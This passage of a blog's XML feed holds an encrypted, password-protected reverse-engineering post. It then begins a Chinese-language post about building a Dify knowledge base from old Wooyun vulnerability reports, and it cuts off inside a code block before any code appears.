788978d6cb0d4dce7af9542ea1196d2f14f0844bc9d1ff3afd6d8aa606428809d129df5b610f138fe8fc992eda33d86a0325bb00b366eb91d74c9d492d9978475568e29a2569a54e7a32fe2929aa98ed28acdcc2d41651234ecefefd50d89f7ef130690c6e4a51bbcbef25b67653c92464664c1b964c3e1b26b53f5b6692f25a8141dd8501fa946d732b065afb8d60e3465c60175d9cc07ab79a21ead4aaf938ce4f4b3198f2942466e89fe61beb33bc052994335c7270169212f9ab5992881a20d44ae9d8d852e559f8cd1939204a2fe2aa69dcdd9dae73f3ab52c881d21d2fb83159eac4a2191571cce44d0e08e20a8863111a95bab3ef7dfd9b939378f5d6626f108f8296c44e0e018db1fb3752cfc75c000ef738c59a20973bb535eafde3ee1fbdeca629118edd77350d87e45663f47afcb0db53e090abab830553fd6a2a4dec50ae8a90fc4c4b08b809693ff495aba35a810271378e71ee29deb1f1e34a502a5abe61884a797a09378ef4b436a3101d36107edb63f65739c7d495266001f51784181a67ab11d7043cf528e384ab934e3b5512c09c1fee65882be05c6e375574837252813db39924dd38246e791e50cab3f357341cfc39e489eeea82a1c6b33052f006bc3521a0176efc04dd8f329c699e6e87a6698f106ead3eb78b5028c6031f82f8633dd514bd970b9089f669e4c382718563fee90d1d4c061d4fd95a187734012512110b606c3c55898b45e26317d784d6b69fbcb106c39ad4c12ee06f97e1f0aeed4fe17c2732c21c6c5adb57bbc306ac9eacaa26d62c55a417c04a0ee4c32b92808466537f0887fb1ea66513930b0f3e571c177081c38e442dcc5f8f486d782f1367af501a6322a927d79d8499b2c91e2316ae94c37d6d19249cb00452e585a4b9319bf02b7c83fe054b19a77f6053bb899987df458df653fa809c1e11b8f2a0b74e88ea74d7204cdf5cc1e51cc780d5e702eccbc4f53cb2d24718be187fdf03d22bdb8db812d736b027e1c0697d2d7480d7378884488e4babcedea8b42205c52c07c90e1f19794883733732c154b4bb8484ca3b0fb21b2ad538fb32865f886a14f674effa1c6224629b0254ad969d78a00d0a69313700ea6925abaa76a65c602e41cd84bfa85c5f698e5c6e7ec0bb7de6db712dd7b591f38ffd864452acfd55773ee5cb341b7c0d4704f8219a3bea4e0f521095a817cfa66eb86cbc31b0314ba4bc154462d80b73f138805de15f75e972c94f9ad4eb0762514d2f9a119dd6a7dabdb78621d652f6000fc599e554c569d5324846b7fd3b3b1ff66334974fb4f453676b9d0c603b496fa1a4ab92c8f9dc13dbaca44821871f6ed05ae27efeb7480b09e6c23dd30384745c389e3bc8a60b04da40d7267a69eed21c065d00a463a1041466984f1393550c2dd7e1cd377ad35b0dca6105107390493ea6fbc10364b06834499a3f1563d7a80dce7f2f223ee8e3cc943eaa17ae285b8ef5778de3b77d47fa3cfec84977e7db355ee44a3430954ef6785eef9d4f9328dc45b6b3e316d9c593b02b061215611696b13b0bc6e5c32c730190c0c0bb9b388fb45b1024f61a8ddbf95e13f0ce98683b986759a18843acb1180757c84d4c228e48ee1ef72c3b4773f484a79ec68db1ec428de05bc30a33c2642eca9d935566ea04600d2f494b4cc21d8552f1ab5e7a645cc336f057828c0756b592c648a017b6c82757c7693cbc0ca346ade5f7d8339f14c7c9908042ead194bea203c373df76e8df26d5120a451b9960a4a1607e87f2929cc248920deca8f4afbdda7698b70001551dc0cd1c29c7edfac7757c706ba91c636786785497041faae3346e4aef1f2d4296bb50116eaf0ea1a0f60d1c271bada5eeebe1baca04c83e149fd98a0a91628c82aa625b437ed14ad09d40b364edfac3d7b03dda41a82b84f0f7113c31c3cefe8823a56d6437224a672dd376ae452ea670b634be18c04b7d1affeb10e16601fd91a510ec8c9e645acd8610e57a817c030120bba07d44e6b137fbb64ffc22825ec3e50a8f384e6d558b78d85e7008d576504fc9bf597b7334f8918b23a29ce399af9ec16f8f954bc156e4720dfeaf85b236e23ef4e229dd4bbfd60b78923746c8003f78d8735282e6f4b94f1c711b71f197c7f5b57f676867e534f0884506f5fd9478f49de7345e2f21585203ff222913f2da44ad2ae155fa33a95bfe9fbc74c20ca41b5aedad889f8ed3a2762bc7ad4b994b6b36aca954297ada2bd5215c495bedb9d4efec7d4f4f6d4e032e1a9be7a4005129b78a30dfc29d047ec529b5b2ae6df038334a19732cba1447b80a9ffa7766c88ae3595c47b77c1b7ec18613d51aadb78de9d2a3987b2e2841f5fddc16eecc143baea3d66d86bd56cc7d3b69c8d1ba6e94ef133b44ddd7de3934291e415b3cb9e34249e3eabbd9ea1ec0f28d009fcf1956b31237854609fec630a75a76ed00f01d27b9c95a45dd6eb4dee031b04109bd54bf6d31957ec28762fa0a6ae8928346ace1729f0e1ff9d374215585a2e1894a0654a03cdf47b1c01676f4a3edd2b3701fd5bf392e22217018fcf23373ac4faffd5ba564f150b7416862ac83dcf0dd6994d8a4b8131d4cfaff3e67a1497b8ab327d0bb4010a4c4daf4ef30f7ad0ac8ed1e9a28bf732bfe343e7267ba28657fa321473d16c59446bd9e7dc97bc8ea0b01f0b33e29f861d90bf1047852ab540200d68a3660dda9ce9cc21880cd040cc7ec2a8e3568afcf689741bb335678ac2f4a2441cd942f89489f8e9f613e3b41fb627f3c2a45c86f73bdb455f1389404cee45c397765e1273d82f0aee06d8d957b118640f351dc5ac7fbef169016c50b85e2dea1db7d6b468b17b1d464b2efd5c25945ce35c665c606dc0d4ffa41210139667bb44dc3a3b21aad474c50ff75c0cdebc274d4fa8cba6ae85e00d01334dfed7db0be66b1f00ba8eb74137aeddffcb6cc361f65e5a15c897c9713e0036171d2de882ef9dab79ce26fae7188707eaca7a3dfb8f6ca4ccf7b59f337ec699826e08e727c69fb3953c4f78d0a9eae9005324036e8601e57f0ff5ed42bacbc09d6dcabfc392dd587077acdccff110860fe71b5bc4829247b329dad1e0d8971f2c7fe13af7348582c3034122b678e2c1382b89e36aabdf94d8bd9c958c662e81edb21cd3552721e8432b70e564087540c5c5d98a2c60848ce16abf89d2c9ed8ebc437ce353c5f495cb9252a5d03cdabda1fdef8f85a85ac17b79cfd6842abec077f51030196a8e6b02d44520243f3d96f6a742f5b41e804105231face0a40c02e03ba776670b7fabc352c922e4f08c2be6657a1fe002c52feff5e7764d04704007b0fa0934e87efcda5fb14e5913e04b036f0cf8c05c288cfbfeb748ee766978c29abcc37ddfe80eb8077d841bc62976bb7fc23db0be0fcb1cc84905140e2f8ed1f381e92f3fe678c55da352b3f401e39e1e81cf83fa2f8e7e6d8fad9d612012db8c8038f7fc6faff52e69063926aafb20b71e7c7f3db8fedd1f5e1fdfc06e3cb9c130c08694654f881b4e017f91976396b38ad1b2f7fb3c2d6ec216156fa6e18e17574b3dddac3d6af188ab846bb0d66816fda765f124d0365ef11aa916b13c16da5c6bdda080e7cdeea928e6e9ea5372d7a019f3ddcc03ff11a17e65fad2184de858e170c5971ade67757e38ade2fe494c7ab6d995089cd294da4c36fed8afd7d48292febff615ea5ff577b2b4ecf521647bfb8b60faf9f1e87469235cf2ad08d4c30cf179e254621f81ad01c6cd330e2e71ab9674b85e010f1448c67a9aca225ac7b8a2894657f5130a11b9bc900c03c2c0f2539016c8ced72095af37a9e96d187fe6705909552f10ca3618daa3016890cd05a9935b62b81264d5c1287ca5b64825bc4be5891f13259b2d7fe7bf3bb0d94c05d56a1646be619b22e403bd18b36709340a1471dffa8ddd29b4a6426d9710e700238348fa9b99e2fcbd2f5c775333c6ccd74ce78adf304e8affd93cbc79ebe04602eed229cf1956aa4de224718471bb7453f2ef3633c2ebc88f18816faffd1b036477c6a9f226dd9f7efe91e4ba25643dd3843717faea77d5c32df9489212f03cfe8380ac6c6941a24b2bb378ed5cf351e655a3573f8de2afcc60572a13a928f2f4048fb49d4cf1b5ff4824bc81f2382d8e34540b34d4173bff6f035b59d2e53ebb81d12879062933d7d497b8067b062ab78ac518c0b73d7d7bc11267763f000e183bb72bc9ba16d71d19801409393fce2b495a851d66b3bff7be8a32c64f8c9f041faf5ab5b73a086d75b041ea86f0f73e00a12dbefd967e192d7807c7543f735701db7b64dc2dd6a0e7bd59ca1acda7d8f19c342b0eac48e8da05770fe4f0546f51ee47cecba5a57cdb7bd82e46fb49899c5f4079ee16728408cad190ef0e941d5b2f56979e83ed380e701633260d8d73c61d321df6268e0479be6e5308b4a9e8760b4ea45fa2e37ae88667684f1c518eb56c41bf37ee5e06deb4ad7d9e028d036b8f54f46798a924bb3d10fb224467492ef1ec81b0a82ca1e7922a77d97e6b18fe67503ff2069f8e88a51ceeccb6efc828ee7003895f532dee8d7019394d0505a3d9981be3934c2a3eae873f4d98335c847df3a8111efd54916e84771eba0c4a5661c71eaabf0fb9c4a2a0fb59437c8392931092a10319facc7f3924b3f30ae6de6b0f31580a92801643688b74f66d8f6085be17f018f3ee18775a1797a56fdec5fddd9576f5ffa83d61fb28c5b14f6e2d8a60ddd3585355154348bad5673e49283feaf86962ce331beb087933f988f1cdfba16e0dc9f1d04e641e436f78897e69ac33a44de050a052e0d2cbdb6a4462171a8078132271476107604d403d05e09297c244b0f3d2be01b8f88f5e746d95f4a0a76fbf10851dc5e85adcd7c113422c7419f734703f4025b694355eb91e3483682cd073d6d715c30791f0bd52c5e0ec18f286d8b08577f0996b136ecc986af4d2e1005efcf13c1769660fe090fc06ae6cceb711f1623ee66ff0bf13b7890a11c6c42e9f580a39401b84842507493d2c1680c54f1a597bdc4a6fb8fecbc73315c29a8eae203bc129fac5a9b37b2ea1a05c0d716b5967b3b363a578217823f56bdb8636d970050357246f6626345dd7f1cdbfc6e8fc7cfad2d1201dc39a4626587d0e285adab133f6dda39c22c3cd95503466c1fa5d5371c600b7b3a99a258ce208c7abea1be276114c8fd6d8df47d723328c906a051d7c27dcae6afacf1669d309a7970700da1879f4e8588e7ad6fc66c28d7cb5f90f235d761f54697cb0749d3aad52bdabf901ced3db045c64e9e527ad5165e176b888ab5212b6be9c17b8684718aae7a1f53967aaba24f7993b10bc958331bccf773bf4316395e894e3b567733aeca3289deb7d13c0a67b0541c8024f146cabc7923e4f0e0f06c136db739ed7a7dddb740339dda114cee16d92ea4a8e723e72bb58289baf886389c1a54f9c5c9bf205277391ef6b34a19b8653a3f9de83488ca1a0abdc929ac6e47d465968d1bced8b0ff67d8a76eb388f1ea7e663ca538e3dc243486b93ff05ab7141c07e99e1ba97d47811b12de02284f75d5f06a6c528b752f940b2c551f70b3f7acf47194a8c9a0945f5db6585e8a2fb285b013a102acdc85a4709fbeccb3a2371f478a0b01c9b1bfb97d680b0a10345c08bcc450ab9f396b63d30d8dca044c3a4bf901e3a6c63a5f07938880fddca032435564e2eb172a898e7f40f3fc95f0b8499f9243d576023cea337c72f012ce1e49040f17771382387f77f46ee3d2bcc7e3b5e37b494c0a35e98f9cc50719503d8582ff140d939a77cf47cc1f0e5ea8fd5a68a0c47163336c36a7ea606ba44dc1272546630fe13bb880283cdefcc64f209893b9cd38c0c3b7604f488248c46c0f32fd8d7208fcd3745a5bec8df7e4c3d5fdc8b621ead995ba12d0e4f4a8612e9da4bcb9f17a4debb52a40fb85e318a440b16a24d0f3c1658e6c84097c6ea961d3995816d2a747a993cba52ea3dc6acdfb47e648ba35e7e94950b52661a5cd30af185cf816452b60a4d3605eb8724fb756579cc6cd0cf16357238f693f34d4dcbf5241ff610bf407c2c9327e8a7a6c2a2fd622fa4e9a1f61e1f1bf08aa93fa9709d935d90d0db8435a6414044cfbb1e193bdaf0c78e075209ac86ec3ce67e57ffee1356bc2696f4f10b418f2ad21798ae4879b47ba7c2cc90f5ab2e11dadaec6687b3d48fc6a1034ca37eea0d192d2bd82c8f41a207f82b64f7b525c3abbd63392299c5eeba58ea03e4c1a49697fad43e43bc11c0ac1d9ac47bc7c8b3fddfb8c9301d152453f37a5bacfb6b4a27d5b0d51063a9fca600594e86dcce4821ca4cd4cba051e557b9ef62f2dfd69e13142c77fe75cbdc3c04b4e77ce65d68c70e00412290f5571fec088a0486150dd8a6f1ee814e2c595f7d02d79e1466b85d67ea985ce132729b39b923b1d66313a9734a622446848db62c4b75b86e11fccb64dbd597e4de4837e16efb3adef387b4b4eca425c3166c69b29f1f36685d493c8308ce64c813cca5b3a4dd49ccedc4e0cd19512bdf23b62a362b223fdb488ddea2b6b8cf95af5a9e58ecc65ed50e023e695f128da4fa814ded1577a6cee94492deca1b10a7f48f871c7f76308916a7d0d0400235cced0eb1f273b9e91bb04d1fc31a98d9260496ca45244081083c622f637c2f51c86cad9506c3a8273d07d07d0c12df00f310aac030efba7ea7df0709bfaa1b9aabaae9381c8df72c9257c92406c26ca612ba0b5efb25f27063bbb7630c739cab97999fd98a08641461c0f4c304b554993d84e1fce2c4884c19564847e8cb1de54fde037ff277a15f6cd47a5ed9b7d9b4d0e557068b142b2cd8aa65eee379986fe2639746a0970f99583ba58bdd10096e3d9a366d13bdcf31abf21cfcfa99cf9d1b085d686419325ad3398499b2bb139b3cd7549447386f898dbcee2d5a6cb78d60223c97a594997b41f08b8f3e000fb7184c39bc9057ff071f194e2b6d261626471218f403dd8c0c8f65057d1f0f970cdb3677e6302a1201c291c6a28d57d0c7ff66ea683aea509e023bc77208bde0b55685f4307fdd6035ffae62dc013059260812860a56f50abe1a608c7a836f2bc70aadc96c1d7b1b6a95bc3df62421fb6a898e4251a66d888fe75432a1bb90931cb89434b8d634104637b9f2b3baa428362e15a78c79741fff0b5394520fb07a26a993003f79ec39cf07af6a88981c1e606c765656d500afc2915511ad4667c7a837d765031451e4aecf8f805eaf8b7a8f03a7049c34fc31556a69da373002416af4764a12009f5dbdc9ee2fe4b396d7a0465b12351cab7ad87bb75222f2f1c317a5103537e2021c2ec0abcea44f474a8089e391ba0cc87ef984a0294b4881651e1bec8de8439212fc864e68f0e46a258e000c61a0e9ddc3e2a9109ae6618f062781b18e2d3824aec1253194bf44c1465c370f7dce7ccbb04267f2090bd678ca1663fd0e67e2e2586d412c210686efa67179ebd4113c6b1713cd1b71d66839a08f8e51cb124ab053e57c132ccada6cf86edfc7f0587cb0b9c789df4aae2b09857b1012008459567ad8cce1da4f55d455ef4af31de3be1b4ad2a18cb06277f7d50818bdfacac20c2ab870076fa3773460006a1c559911243107c06e4fbe7b12e280b02ba05ded0aa73b9d62f9c82367015c0226c592ca9e740857b24c080988080af9108b2cd0e9b607e937063362ab0dc50ed85f593fc0dc467a0dfb3725d672c19d6809481d8a3341713411f061c25f6ed0f3e28668965df3862640012310b625cbd0466f4ee413a7f1fcecf6221ac816b9967711db55cbd9f83ce62f3e046977892cbf081751adb485ba1ffd23aad8562c62031e81c5335307799db40d0984d985602f3526cdd16c64b5dae4c65aaa5b7267b1386a16458b94a40f9b37de1beed63cd873cdd73f165de179c4c173caae6cf2afa2244cd34ab4ee7ba1aa3e7dc7862570b703becee182ecd17435c012066195a41be54703471c5c8bbd7a40bbefd764c5b8a9a44855d9e8cb80fc56b6879928c0e037907567194576368268dd990ea80a7ce173ebd4155ed792ca974c7e9389642ee17aa3ab732723a92c41a2bb39d49ee9cca4f5c8810a4558679540dee991cb018280f8643d838b4d995f25f464f6dbd598f312383b1da611892f87f08dd55a9acebb04da14466b118fd5209eb3dc4b48eb56ea82ccca6020fc6a97698476da1a05b3618d89dee3c5b9fc936eab64f87585995a805ae9248fba8a05d821c53e1474d65f85b6a87499e95b2ac7a1059ddfebe30bd2eece4dd68870c38ab1815f942ac57f51051163af7016559e3462e030694f630d7ef3ba1c9de3e7f0f3ebd0686010ca186926fee989e1e68d19a832a425009cd25ada288aa84d61fe6f34b5b50ab9312cd606654dfe01d9d4e857b9107946723c006f99c74a58d1fb4881ff84ab7d62f38308195d42a454ed77be7ac54b690f06a188c457838a6375c929b661eaa774c2b7e8b101a528b1b24c2ddd26aa21442fe699d64d325f7fac15ec308fa9dc3c5f69c22034f2ccad241f00eb362e72e8ed0301f834fcfbdc34bc661dd67b6c3ea644ffa96101d9359d61f9f87c9b86276f804c8bb124470ed582c97b177bcdeabdfbac0f53447c872b3dba768e8d56fcaeda06854d617b6bcce70aa1d139d2c96b607237fd57b95734fa7a05e1275bf46c56b6f5828c67b6444e83b538cb65d6fb109287dd86aca01804953cbc28d7f3920efc4ef73f4c37c997520a0c507565a91dda575f7ecb2391fb8d57e9094108ce369acfe995e55f3a229f24b6799596747b7a5268097f3a47bcc2822741850bfe44450b990c6c0d2435ea5e74a73c20c1f07a3754d98c0e4e4e1da9fd8f2a6a1a9c43bd03941ef8b2a0c31785ebccec3ca42f810e6eff4a51f6da154169d065271bb4a4d532889255691a6f1d876d00ae318a0f6c14d202a0c45a4212d13fa22836029abac82cf867a5138f4d4537cd9ad5507047d4503aa3c6ce676cdbef8d335c07cce10df0292c2546b6784a6b34aab48217a5aad0e998ddb18ca0d5b361fe09b9bfe01d3cf501c3cdbf7adff37d1542df72da59d825fd79c36ff3ecba0c0fbebbaa437359df97b7422ffcb85a8cf5fefaf19423ca2261cc5c84bbc4747cf2442f9bd1a9d3b19911d809bd953de00815f021a776eb684fa2a01884ca94ceb79b7d2e7d9ab07a2f7e26240f9ba1456474eb29148431b9a0f376a646bd755792ca8b89c3999e020ddf7463be3456efdb4cbae04dbc649fc41521238ba683618696a9cd3979e15dedd0f9738825f00f749f3e63a94dac4525a21b4decbd7afee04163ecfa9118823bd3583a86af933846a0769d1feb08e7209b5738d57769ccb1e20864c0190ce2c5d6ca364ab437151db018af8971dae67535ad12e0bb032d14f7f25741ed929e81114ecb11cf02e81c61f2f512a73ca422a7d1a3b224f1b593f07991dca60c43b84f61d5b8717bf0c948592d7d50b0cca7d6d43878bc2bbab5b5ec304fe0ad3f5436b12b5d129c6ce361deab885633e019d633f03153dc3ef6ffde67abfa4273f73b9eb6f25f344bdd4d60d3db0b86003d3ca9163af252f681e49a139c6d4594808c111ceb6383fe02f3df869664a551d99771e6e9f906b62f73eab336e2609e0bc5378bb2194d14945a9bcc36f4b2bb1acdcd823f5dabad07b46a1eb87b17113ee22b70439b96eb81602f2ef4001305a177ea6ae717f070fd9ffbec9b7b5f2290ba6986118d665377490c9c818db543e52adb0cd9b0f692f528f2a1ff4204e6bbdd568afde4029bdaf12bdd9eaf4d7814ad4eaebeff25712d35c9ff502a86f33bd6dfc87575521495654b0b5796d522ef5e05af68ea1098d6844b6e092617d63a08b411dc20ba5145fca0076d454a0b485a85d771021985d6aa9671a57791061620040b8d943dcd77bd1f5a16bb6f26b4b928f0da28a4c3b980f94ece53fa1dff499c2313615d82b7a5d5b3dc5cf5dc33c152e96bb13822da4328b59c0f1cbff967db8d36feea516fcc77d0cd84e62d249ee2380afef301edaa9c14b0df1679d3c42204e0b7f38bc7d2c5f08037c5847dca3eba2b1b0e6855fdce6fdd408ef98431825291037482faf38d73a66ab0f102de36954ee40a1d6deb0dbdded3324a9e8b1aa8f3c871295ba2e124ee7c86a4cbf3b57d45b9770d2edebbcead83676d24bec61c088c2463bf5fe454c3b2f8b6f6894b769af5bf6e389812441c9285a429a36c02536678de42400620bf1df04bdebcd96da0294fbf78a0a3c9112cf4743f9d19550e37a5426888cf4ce5e4bed4a974b7a682d5edc1d2312e098f7e29b61cc26ab9e110e4d0c27cec557ea5fdddfb88f5e9ed8e5cbe3113a486bd27e42c74d5d86ba9f5c1668370a00d15d523b5d0e35daab20cf054ad056894b0192603029ddccf61a5054c46c30b2f856298c8ceb650a6950419787cfebb8364d8aa6909d374c2f2749a853a3e22a351bdda20f246ae5b4b57fb4884ecf7790f0db8637864ccf0642e3a46f9ae8db9031c17d67de8bd6547b2b794de58e610d641cd7cb2f52d173d0a8f54711e65b70b2574befde97e34d8641c5ffe583b808e395043612cc94e543f47f5ef96e199fd19102bd190abcf038e7682124346b795ab7ea22fb7e3c5edd042e570bce293134680c5e86efe7bb3b5d69fbf7b66fdddd21e3db94d8285ce3f93eaa1136a14735198545f47a775a85b3faf2291d4bb272d53c2e49c2daae3a17771a4f2aa7adf2e97c8f3e562a97c747e5f282134d624eaa44847bfa08aaf1a82c0d2dac41fb5f7ae212d1d3c8475f4047448e5b0f95dfa13116a3d53ef866aeb3557a83413bf332784758f6ad824cea1d0e4d3593725b2ac3f7c3ff98a7ae8333db81885e25ac95f4aaae2052da589b8cd5a9c59765895f0ed1094cd29cd7c96fa4428892d097373b1eca46bc2a90f2d72c3569b6ab4bfcc595758e7ae1e6850504f3849c536e02e06525258346b5f5b358ab1d20b132dea37676129ffb78664796e5063252dd62879738e475d55d0431e533a6e68e2edb23dfca707a57449d886cdcfb840d77db95f9772da70f9e8bae845595536161bbb90a83f5576693aaad1acd652e6121cdd887df28f6b41e151423dde2dcec05141f14152f8a3de6617541965ad071ac3b2a78add90afb620b1b7daaa6cd8f6ddac590388f4c9e2fd084e401149edaa4a811aeb00ec0aeb4e27b0fa5e1150a2c30d38b74f91bded1b67f1fac0c582715b8e1da2d31f9b3a7b9d84aade3d86aec47ddf99e1abd4b77fc37f87169cd5ea8713416f5f5ecfbc1a948d2d1d6a4e2247b145712cf5ce5950c4bc46b2f4dfd032750e1e438bb0ada4d67cd850754383c2664b87f39d49613d0ce5e0ee4a5dacf36dd3e74eebe5cc4e403f30a01b596a46dda42cae2fdbcc4cce63b7a2ca1fa62ea76701bb3ebe8e42952c3defe14ced289605ce8e2355de736c1314de793a805b2999d94c1456641d49111b3e776c12b317aefa816641e0572bad9161af4aec7ccef1ee2d7f0a3bdefa0607135c7c6328395381ee4100cf182508c228651d94204f1819ee4415837a1b76fc2ce8dded35ab690f0e8879b67ed18fb2adcd4bbb13e50e12d6c83a0cf5da90cb539dc2372a02fcba2fcfe365899ba5d926dd820a94dab7392d7387650049b45f541abf141c9bcf614e3b0dea7b94bfaf3b586e93f58d1deeb94dc190e2793043ae421a85caf8280d5152f822f0c91c7b3c6dfe9f7a96c762ae4082876bec1a42d05cc240b20b10c201ed69a253375d4762095619c74f5712d62f531961374280</script>  <div class="hbe hbe-content">    <div class="hbe hbe-input hbe-input-default">      <input class="hbe hbe-input-field hbe-input-field-default" type="password" id="hbePass">      <label class="hbe hbe-input-label hbe-input-label-default" for="hbePass">        <span class="hbe hbe-input-label-content hbe-input-label-content-default">Hey, password is required here.</span>      </label>    </div>  </div></div><script data-pjax src="/lib/hbe.js"></script><link href="/css/hbe.style.css" rel="stylesheet" type="text/css">]]></content>
    
    
    <summary type="html">Here&#39;s something encrypted, password is required to continue reading.</summary>
    
    
    
    <category term="Research" scheme="https://iloli.moe/categories/Research/"/>
    
    
    <category term="Reverse" scheme="https://iloli.moe/tags/Reverse/"/>
    
  </entry>
  
  <entry>
    <title>What Can Be Gained from Using Dify to Process Wooyun Senior Reports and Creating a Knowledge Base?</title>
    <link href="https://iloli.moe/2026/02/14/what-can-be-gained-from-using-dify-to-process-wooyun-senior-reports-and-creating-a-knowledge-base/"/>
    <id>https://iloli.moe/2026/02/14/what-can-be-gained-from-using-dify-to-process-wooyun-senior-reports-and-creating-a-knowledge-base/</id>
    <published>2026-02-14T04:02:15.000Z</published>
    <updated>2026-05-07T04:50:46.611Z</updated>
    
    <content type="html"><![CDATA[<blockquote><p>前排提醒：吃水不忘挖井人，现在能挖出漏洞，大多数都是靠的前辈们那些数不清的技巧和手法，这些宝贵的经验不仅缩短了后者学习的路径，更让我们在面对日益复杂的防御机制时，能够站在巨人的肩膀上，观察到更远的安全边界</p></blockquote><p>早在 Dify 刚出来时，我就已经着手用自己报告做 RAG 了，不过那时候报告很少，搞出来的东西基本上没什么用，于是在 2025 年初，用前辈们的乌云报告搓出了一个 bot，现在跟各位师傅汇报一下这一年使用下来的一些感受</p><p>在开始之前，需要把乌云的报告弄到手，我在很早之前写过一个爬乌云报告文章并转换成 pdf 的脚本，详见如下，当时是用来爬线上公开的乌云报告，后面有百度网盘会员了才下了乌云镜像导本地的报告</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br><span class="line">120</span><br><span class="line">121</span><br><span class="line">122</span><br><span class="line">123</span><br><span class="line">124</span><br><span class="line">125</span><br><span class="line">126</span><br><span class="line">127</span><br><span class="line">128</span><br><span class="line">129</span><br><span class="line">130</span><br><span class="line">131</span><br><span class="line">132</span><br><span class="line">133</span><br><span class="line">134</span><br><span class="line">135</span><br><span class="line">136</span><br><span class="line">137</span><br><span class="line">138</span><br><span class="line">139</span><br><span class="line">140</span><br><span class="line">141</span><br><span class="line">142</span><br><span class="line">143</span><br><span class="line">144</span><br><span class="line">145</span><br><span class="line">146</span><br><span class="line">147</span><br><span class="line">148</span><br><span class="line">149</span><br><span class="line">150</span><br><span class="line">151</span><br><span class="line">152</span><br><span class="line">153</span><br><span class="line">154</span><br><span class="line">155</span><br><span class="line">156</span><br><span class="line">157</span><br><span class="line">158</span><br><span class="line">159</span><br><span class="line">160</span><br><span class="line">161</span><br><span class="line">162</span><br><span class="line">163</span><br><span class="line">164</span><br><span class="line">165</span><br><span class="line">166</span><br><span class="line">167</span><br><span class="line">168</span><br><span class="line">169</span><br><span class="line">170</span><br><span class="line">171</span><br><span class="line">172</span><br><span class="line">173</span><br><span class="line">174</span><br><span class="line">175</span><br><span class="line">176</span><br><span class="line">177</span><br><span class="line">178</span><br><span class="line">179</span><br><span class="line">180</span><br><span class="line">181</span><br><span class="line">182</span><br><span class="line">183</span><br><span class="line">184</span><br><span class="line">185</span><br><span class="line">186</span><br><span class="line">187</span><br><span class="line">188</span><br><span class="line">189</span><br><span class="line">190</span><br><span class="line">191</span><br><span class="line">192</span><br><span class="line">193</span><br><span class="line">194</span><br><span class="line">195</span><br><span class="line">196</span><br><span class="line">197</span><br><span class="line">198</span><br><span class="line">199</span><br><span class="line">200</span><br><span class="line">201</span><br><span class="line">202</span><br><span class="line">203</span><br><span class="line">204</span><br><span class="line">205</span><br><span class="line">206</span><br><span class="line">207</span><br><span class="line">208</span><br><span class="line">209</span><br><span class="line">210</span><br><span class="line">211</span><br><span class="line">212</span><br><span class="line">213</span><br><span class="line">214</span><br><span class="line">215</span><br><span class="line">216</span><br><span class="line">217</span><br><span class="line">218</span><br><span class="line">219</span><br><span class="line">220</span><br><span class="line">221</span><br><span class="line">222</span><br><span class="line">223</span><br><span class="line">224</span><br><span class="line">225</span><br><span class="line">226</span><br><span class="line">227</span><br><span class="line">228</span><br><span class="line">229</span><br><span class="line">230</span><br><span class="line">231</span><br><span class="line">232</span><br><span class="line">233</span><br><span class="line">234</span><br><span class="line">235</span><br><span class="line">236</span><br><span class="line">237</span><br><span class="line">238</span><br><span class="line">239</span><br><span class="line">240</span><br><span class="line">241</span><br><span class="line">242</span><br><span class="line">243</span><br><span class="line">244</span><br><span class="line">245</span><br><span class="line">246</span><br><span class="line">247</span><br><span class="line">248</span><br><span class="line">249</span><br><span class="line">250</span><br><span class="line">251</span><br><span class="line">252</span><br><span class="line">253</span><br><span class="line">254</span><br><span class="line">255</span><br><span class="line">256</span><br><span class="line">257</span><br><span class="line">258</span><br><span class="line">259</span><br><span class="line">260</span><br><span class="line">261</span><br><span class="line">262</span><br><span class="line">263</span><br><span class="line">264</span><br><span class="line">265</span><br><span class="line">266</span><br><span class="line">267</span><br><span class="line">268</span><br><span class="line">269</span><br><span class="line">270</span><br><span class="line">271</span><br><span class="line">272</span><br><span class="line">273</span><br><span class="line">274</span><br><span class="line">275</span><br><span class="line">276</span><br><span class="line">277</span><br><span class="line">278</span><br><span class="line">279</span><br><span class="line">280</span><br><span 